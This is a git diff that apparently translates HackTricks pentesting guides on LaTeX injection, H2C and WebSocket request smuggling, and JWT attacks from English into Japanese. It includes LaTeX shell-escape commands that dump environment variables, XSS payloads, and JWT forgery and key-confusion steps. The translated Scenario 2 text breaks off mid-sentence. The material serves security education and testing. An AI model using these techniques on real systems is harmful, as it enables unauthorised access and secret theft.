``` +### コマンドの実行 -### Command execution - -The input of the command will be redirected to stdin, use a temp file to get it. - +コマンドの入力はstdinにリダイレクトされます。それを取得するために一時ファイルを使用します。 ```bash \immediate\write18{env > output} \input{output} @@ -210,9 +201,7 @@ The input of the command will be redirected to stdin, use a temp file to get it. ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` - -If you get any LaTex error, consider using base64 to get the result without bad characters - +もしLaTexのエラーが発生した場合は、ベース64を使用して結果を取得し、不正な文字を排除してください。 ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} @@ -222,17 +211,14 @@ If you get any LaTex error, consider using base64 to get the result without bad \input|ls|base4 \input{|"/bin/hostname"} ``` +### クロスサイトスクリプティング -### Cross Site Scripting - -From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) - +[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)からの情報です。 ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` - -## References +## 参考文献 * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) @@ -243,10 +229,10 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/h2c-smuggling.md b/pentesting-web/h2c-smuggling.md index b77244070..00331270f 100644 --- a/pentesting-web/h2c-smuggling.md +++ b/pentesting-web/h2c-smuggling.md @@ -1,125 +1,110 @@ -# Upgrade Header Smuggling +# ヘッダースマグリングのアップグレード
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-## H2C Smuggling +## H2Cスマグリング -### HTTP2 Over Cleartext (H2C) +### クリアテキスト上のHTTP2(H2C) -A normal HTTP connection typically lasts only for the duration of a single request. However, H2C or “**http2 over cleartext”** is where a normal transient http **connection is upgraded to a persistent connection that uses the http2 binary protocol** to communicate continuously instead of for one request using the plaintext http protocol. - -The second part of the smuggling occurs when a **reverse proxy is used**. Normally, when http requests are made to a reverse proxy, the proxy will handle the request, process a series of routing rules, then forward the request onto the backend and then return the response. When a http request includes a `Connection: Upgrade` header, such as for a websocket connection, the reverse **proxy will maintain the persistent connection** between the client and server, **allowing for the continuous communication needed for these procotols**. For a H2C Connection, the RFC requires 3 headers to be present: +通常、HTTP接続は単一のリクエストの期間だけ続きます。しかし、H2Cまたは「**クリアテキスト上のhttp2**」は、通常の一時的なhttp接続をアップグレードして、平文のhttpプロトコルではなく、**http2バイナリプロトコルを使用して連続的に通信する永続接続**を作成します。 +スマグリングの2番目の部分は、**リバースプロキシが使用される**場合に発生します。通常、httpリクエストがリバースプロキシに送信されると、プロキシはリクエストを処理し、一連のルーティングルールを処理してからバックエンドにリクエストを転送し、応答を返します。httpリクエストに`Connection: Upgrade`ヘッダーが含まれる場合(websocket接続など)、リバースプロキシはクライアントとサーバーの間の**永続接続を維持**し、これらのプロトコルに必要な連続的な通信を可能にします。H2C接続の場合、RFCでは3つのヘッダーが必要です: ``` Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA Connection: Upgrade, HTTP2-Settings ``` - -So where is the bug? **When upgrading a connection, the reverse proxy will often stop handling individual requests**, assuming that once the connection has been established, its routing job is done. Using H2C Smuggling, we can bypass rules a reverse proxy uses when processing requests such as path based routing, authentication, or the WAF processing provided we can establish a H2C connection first. +バグはどこにあるのでしょうか?**接続をアップグレードすると、リバースプロキシは個々のリクエストの処理を停止**し、接続が確立されたら、そのルーティングの役割は終了したと仮定します。H2Cスマグリングを使用すると、H2C接続を最初に確立できれば、リバースプロキシがリクエストの処理時に使用するルール(パスベースのルーティング、認証、WAF処理など)をバイパスできます。 ![](<../.gitbook/assets/image (454).png>) -### Vulnerable Proxies +### 脆弱なプロキシ -Note from the explanation of the vulnerability that the proxy server needs to **forward the Upgrade header**, and sometimes the **Connection header** also needs to be successfully forwarded. +脆弱性の説明からわかるように、プロキシサーバーは**Upgradeヘッダーを転送する必要があり**、**Connectionヘッダー**も正常に転送する必要がある場合があります。 -By default, the following services **do** forward **Upgrade** and **Connection headers** during proxy-pass, thereby enabling h2c smuggling out-of-the-box.: +デフォルトでは、次のサービスはプロキシパス中に**Upgrade**と**Connectionヘッダーを転送**し、h2cスマグリングをすぐに有効にします。 -* HAProxy -* Traefik -* Nuster +- HAProxy +- Traefik +- Nuster -By default, these services **do not** forward both Upgrade and Connection headers during proxy-pass, but **can be configured in an insecure manner** (by passing unfiltered Upgrade and Connection headers): +デフォルトでは、これらのサービスはプロキシパス中にUpgradeとConnectionヘッダーの両方を転送しませんが、**(フィルタリングされていないUpgradeとConnectionヘッダーを渡すことで)安全でない方法で設定できます**。 -* AWS ALB/CLB -* NGINX -* Apache -* Squid -* Varnish -* Kong -* Envoy -* Apache Traffic Server +- AWS ALB/CLB +- NGINX +- Apache +- Squid +- Varnish +- Kong +- Envoy +- Apache Traffic Server -### Exploitation +### 攻撃 -The original blog post points out that not all servers will forward the required headers for a compliant H2C connection upgrade. This means load balancers like AWS ALB/CLB, NGINX, and Apache Traffic Server amongst others will **prevent a H2C connection by default**. However, at the end of the blog post, he does mention that “not all backends were compliant, and we could **test with the non-compliant `Connection: Upgrade` variant, where the `HTTP2-Settings` value is omitted** from the `Connection` header.” +元のブログ記事では、準拠したH2C接続のために必要なヘッダーをすべてのサーバーが転送しないことがわかりました。これは、AWS ALB/CLB、NGINX、Apache Traffic ServerなどのロードバランサーはデフォルトではH2C接続を防ぎます。しかし、ブログ記事の最後で、彼は「すべてのバックエンドが準拠していないため、`Connection: Upgrade`バリアントでテストできることに注意しています。この場合、`Connection`ヘッダーから`HTTP2-Settings`の値が省略されます。」 {% hint style="danger" %} -Note that even if the `proxy_pass` URL (the endpoint the proxy forwards the connection) was pointing to a specific **path** such as `http://backend:9999/socket.io` the connection will be stablished with `http://backend:9999` so you can **contact any other path inside that internal endpoint abusing this technique. So it doesn't matter if a path is specified in the URL of proxy\_pass.** +`proxy_pass` URL(プロキシが接続を転送するエンドポイント)が`http://backend:9999/socket.io`などの特定の**パス**を指していたとしても、接続は`http://backend:9999`と確立されるため、このテクニックを悪用してその内部エンドポイント内の他のパスにアクセスできます。したがって、proxy_passのURLにパスが指定されているかどうかは重要ではありません。 {% endhint %} -Using the tools [**https://github.com/BishopFox/h2csmuggler**](https://github.com/BishopFox/h2csmuggler) **and** [**https://github.com/assetnote/h2csmuggler**](https://github.com/assetnote/h2csmuggler) you can try to **bypass the protections imposed** by the proxy establishing a H2C connection and access proxy protected resources. +[**https://github.com/BishopFox/h2csmuggler**](https://github.com/BishopFox/h2csmuggler) **および** [**https://github.com/assetnote/h2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールを使用して、H2C接続を確立し、プロキシで保護されたリソースにアクセスするためにプロキシが課す保護を**回避**することができます。 -Follow this link for[ **more info about this vulnerability in Nginx**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection). +[**Nginxのこの脆弱性に関する詳細情報については、こちらのリンクを参照してください**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)。 -## Websocket Smuggling +## Websocketスマグリング -Similar to previous technique, this one **instead** of creating a **HTTP2 tunnel** to an endpoint accessible via a proxy, it will create a **Websocket tunnel** for the same purpose, **bypass potential proxies limitations** and talk directly to the endpoint: +前のテクニックと同様に、これは**HTTP2トンネル**をプロキシ経由でアクセス可能なエンドポイントに作成する代わりに、**同じ目的のためにWebsocketトンネル**を作成し、潜在的なプロキシの制限をバイパスし、エンドポイントに直接アクセスします。 ![](<../.gitbook/assets/image (651) (2) (1).png>) -### Scenario 1 +### シナリオ1 -We have backend that exposes public **WebSocket API** and also has **internal REST API not available** from outside. Malicious client wants to access internal REST API. +バックエンドには公開された**WebSocket API**と、外部からは利用できない**内部REST API**が公開されています。悪意のあるクライアントは内部REST APIにアクセスしたいと考えています。 -On the **first** step client sends **Upgrade request** to reverse proxy but with **wrong protocol version** inside header `Sec-WebSocket-Version`. **Proxy** doesn't validate `Sec-WebSocket-Version` header and thinks that **Upgrade request is correct**. Further it translates request to the backend. +**最初の**ステップでは、クライアントは**Upgradeリクエスト**をリバースプロキシに送信しますが、ヘッダー`Sec-WebSocket-Version`内に**間違ったプロトコルバージョン**を含めます。**プロキシ**は`Sec-WebSocket-Version`ヘッダーを検証せず、**Upgradeリクエストが正しい**と思います。さらに、リクエストをバックエンドに変換します。 -On the second step backend sends **response with status code `426` because protocol version is incorrect** inside header `Sec-WebSocket-Version`. However, **reverse proxy doesn't check** enough response from backend (including status code) and **thinks that backend is ready for WebSocket communication**. Further it translates request to the client. +**2番目の**ステップでは、バックエンドは**ステータスコード`426`のレスポンスを送信します**(プロトコルバージョンが正しくないため)。しかし、**リバースプロキシは**バックエンドからの応答(ステータスコードを含む)を**十分にチェックせず**、**バックエンドがWebSocket通信の準備ができていると思い込みます**。さらに、リクエストをクライアントに変換します。 -Finally, reverse **proxy thinks** that **WebSocket connection is established between client and backend**. In reality there is no WebSocket connection - backend refused Upgrade request. At the same time, proxy keeps TCP or TLS connection between client and backend in open state. **Client can easily access private REST API by sending HTTP request over the connection.** +最終的に、リバース**プロキシは**クライアントとバックエンドの間に**WebSocket接続が確立されたと思います**。実際にはWebSocket接続は存在しません-バックエンドはUpgradeリクエストを拒否しました。同時に、プロキシはクライアントとバックエンドの間のTCPまたはTLS接続を開いたままにします。**クライアントはこの接続を介して簡単にプライベートREST APIにアクセスできます。** ![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) -It was found that following reverse proxies are affected: +次のリバースプロキシが影響を受けることがわかりました。 -* Varnish - team refused to fix described issue. -* Envoy proxy 1.8.0 (or older) - in newer versions upgrade mechanism has been changed. -* Others - TBA. +- Varnish - チームは説明された問題を修正することを拒否しました。 +- Envoy proxy 1.8.0(またはそれ以前)- 新しいバージョンではアップグレードメカニズムが変更されました。 +- その他 - TBA。 -### Scenario 2 +### シナリオ2 -The majority of reverse proxies (e.g. NGINX) **check status code from backend** during handshake part. This makes attack harder but not impossible. +ほとんどのリバースプロキシ(例:NGINX)は、ハンドシェイクの一部でバックエンドからのステータスコードを**チェック**します。これにより、攻撃は難しくなりますが、不可能ではありません。 -Let's observe second scenario. We have backend that exposes public WebSocket API and public REST API for health checking and also has **internal REST API not available from outside**. Malicious client wants to access internal REST API. NGINX is used as reverse proxy. WebSocket API is available on path `/api/socket.io/` and healthcheck API on path `/api/health`. +2番目のシナリオを見てみましょう。バックエンドには公開されたWebSocket APIと、外部からは利用できない**内部REST API**が公開されています。悪意のあるクライアントは内部REST APIにアクセスしたいと考えています。リバースプロキシとしてNGINXが使用されています。WebSocket APIはパス`/api/socket.io/`で利用可能で、ヘルスチェックAPIはパス`/api/health`で利用可能です。 -Healthcheck API is invoked by sending POST request, parameter with name `u` controls URL. Backend reaches external resource and returns status code back to the client. +ヘルスチェックAPIは、POSTリクエストを送信して呼び出され、名前が`u`のパラメータがURLを制御します。バックエンドは外部リソースに到達し、ステータスコードをクライアントに返します。 -On the **first** step client sends POST request to invoke **healthcheck API but with additional HTTP header `Upgrade: websocket`**. NGINX thinks that it's a **normal Upgrade request**, it looks only for `Upgrade` header skipping other parts of the request. Further proxy translates request to the backend. +**最初の**ステップでは、クライアントは**ヘルスチェックAPIを呼び出すためのPOSTリクエストを送信しますが、追加のHTTPヘッダー`Upgrade: websocket`を含めます**。NGINXはこれを**通常のUpgradeリクエスト**と見なし、リクエストの他の部分をスキップして`Upgrade`ヘッダーのみを確認します。さらに、プロキシはリクエストをバックエンドに変換します。 -On the **second** step backend invokes healtcheck API. It reaches external resource controlled by malicious users that returns HTTP **response with status code `101`**. Backend translates that response to the reverse proxy. Since NGINX validates only status code **it will think that backend is ready for WebSocket communication**. Further it translates request to the client. +**2番目の**ステップでは、バックエンドはヘルスチェックAPIを呼び出します。悪意のあるユーザーが制御する外部リソースに到達し、HTTP **ステータスコード`101`のレスポンスを返します**。バックエンドはその応答をリバースプ +### ラボ -![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png) +両方のシナリオをテストするために、[https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)のラボをチェックしてください。 -{% hint style="warning" %} -Note how this scenario is much more complex to exploit as you need to be able to contact some endpoint that **returns status code 101**. -{% endhint %} - -Finally, **NGINX thinks that WebSocket connection is established between client and backend**. In reality there is no WebSocket connection - healthcheck REST API was invoked on backend. At the same time, reverse proxy keeps TCP or TLS connection between client and backend in open state. **Client can easily access private REST API by sending HTTP request over the connection.** - -![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png) - -The majority of reverse proxies should be affected by that scenario. However, exploitation requires existence of external SSRF vulnerability (usually considered low-severity issue). - -### Labs - -Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) - -## References +## 参考文献 * [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/) * [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request) @@ -129,14 +114,14 @@ Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-s ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 7dd8cbdaf..a225097c5 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -1,168 +1,157 @@ -# JWT Vulnerabilities (Json Web Tokens) +# JWTの脆弱性(Json Web Tokens)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (638) (3).png>) -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームであるIntigritiに登録**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -**Part of this post was taken from:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ -**Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) +**この投稿の一部は、** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology) **から取得されました。**\ +**JWTをペンテストするための素晴らしいツールの作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) -### **Quick Wins** - -Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines +### **クイックウィン** +[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑色の行が表示されるのを待ちます。 ```bash python3 jwt_tool.py -M at \ - -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ - -rh "Authorization: Bearer eyJhbG..." +-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ +-rh "Authorization: Bearer eyJhbG..." ``` - -If you are lucky the tool will find some case where the web application is correctly checking the JWT: +もし運が良ければ、ツールはWebアプリケーションがJWTを正しくチェックしている場合を見つけることができます: ![](<../.gitbook/assets/image (435).png>) -Then, you can search the request in your proxy or dump the used JWT for that request using jwt\_ tool: - +その後、プロキシでリクエストを検索するか、jwt\_ toolを使用してそのリクエストに使用されたJWTをダンプすることができます: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` +### データを変更せずにデータを改ざんする -### Tamper data without modifying anything +署名はそのままにデータを改ざんし、サーバーが署名をチェックしているかどうかを確認できます。例えば、ユーザー名を「admin」に変更してみてください。 -You can just tamper with the data leaving the signature as is and check if the server is checking the signature. Try to change your username to "admin" for example. +#### **トークンはチェックされていますか?** -#### **Is the token checked?** +- エラーメッセージが表示される場合、署名がチェックされています。機密情報が漏洩する可能性のある詳細なエラー情報を読んでください。 +- 返されるページが異なる場合、署名がチェックされています。 +- ページが同じ場合、署名はチェックされていません。Payloadのクレームを改ざんして何ができるかを調べるために、タンパリングを開始しましょう! -* If an error message occurs the signature is being checked - read any verbose error info that might leak something sensitive. -* If the page returned is different the signature is being checked. -* If the page is the same then the signature is not being checked - time to start tampering the Payload claims to see what you can do! +### 起源 -### Origin +プロキシのリクエスト履歴でトークンの起源を確認してください。トークンはサーバーで作成されるべきであり、クライアントではありません。 -Check where the token originated in your proxy's request history. It should be created on the server, not the client. +- クライアント側から最初に見られた場合、**キー**はクライアント側のコードからアクセス可能です。それを探してください! +- サーバーから最初に見られた場合、すべて正常です。 -* If it was first seen coming from the client-side then the **key** is accessible to client-side code - seek it out! -* If it was first seen coming from the server then all is well. +### 期間 -### Duration +トークンが24時間以上続くかどうかを確認してください...おそらく期限切れになりません。もし「exp」フィールドがある場合、サーバーが正しく処理しているかどうかを確認してください。 -Check if the token lasts more than 24h... maybe it never expires. If there is a "exp" filed, check if the server is correctly handling it. +### HMACシークレットのブルートフォース攻撃 -### Brute-force HMAC secret +[**このページを参照してください。**](../generic-methodologies-and-resources/brute-force.md#jwt) -[**See this page.**](../generic-methodologies-and-resources/brute-force.md#jwt) +### アルゴリズムをNoneに変更する(CVE-2015-9235) -### Modify the algorithm to None (CVE-2015-9235) +使用されるアルゴリズムを「None」に設定し、署名部分を削除します。 -Set the algorithm used as "None" and remove the signature part. +この脆弱性を試すために、Burp拡張機能「JSON Web Token」を使用し、JWT内の異なる値を変更します(リクエストをRepeaterに送信し、「JSON Web Token」タブでトークンの値を変更できます)。また、「Alg」フィールドの値を「None」に設定することもできます。 -Use the Burp extension call "JSON Web Token" to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the "JSON Web Token" tab you can modify the values of the token. You can also select to put the value of the "Alg" field to "None"). +### アルゴリズムをRS256(非対称)からHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555) -### Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555) +アルゴリズムHS256は、各メッセージの署名と検証に秘密鍵を使用します。\ +アルゴリズムRS256は、メッセージの署名には秘密鍵を使用し、認証には公開鍵を使用します。 -The algorithm HS256 uses the secret key to sign and verify each message.\ -The algorithm RS256 uses the private key to sign the message and uses the public key for authentication. - -If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature. - -Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this: +アルゴリズムをRS256からHS256に変更すると、バックエンドのコードは公開鍵を秘密鍵として使用し、HS256アルゴリズムを使用して署名を検証します。 +その後、公開鍵を使用してRS256をHS256に変更し、有効な署名を作成することができます。次のコマンドを実行して、Webサーバーの証明書を取得できます。 ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem ``` +### ヘッダー内の新しい公開鍵 -### New public key inside the header +攻撃者はトークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証します(CVE-2018-0114)。 -An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114). +これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。\ +(リクエストをRepeaterに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します)。 -This can be done with the "JSON Web Tokens" Burp extension.\ -(Send the request to the Repeater, inside the JSON Web Token tab select "CVE-2018-0114" and send the request). +### JWKSスプーフィング -### JWKS Spoofing +トークンが「jku」ヘッダークレームを使用している場合は、指定されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。 -If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for. +HTTPのインタラクションが得られた場合、サーバーが提供したURLからキーを読み込もうとしていることがわかります。_jwt_toolの-Sフラグを-u_ [_http://example.com_](http://example.com) _引数と一緒に使用して、新しいキーペアを生成し、提供したURLを注入し、公開鍵を含むJWKSを生成し、プライベートキーでトークンに署名します_ -If you get an HTTP interaction you now know that the server is trying to load keys from the URL you are supplying. _Use jwt\_tool's 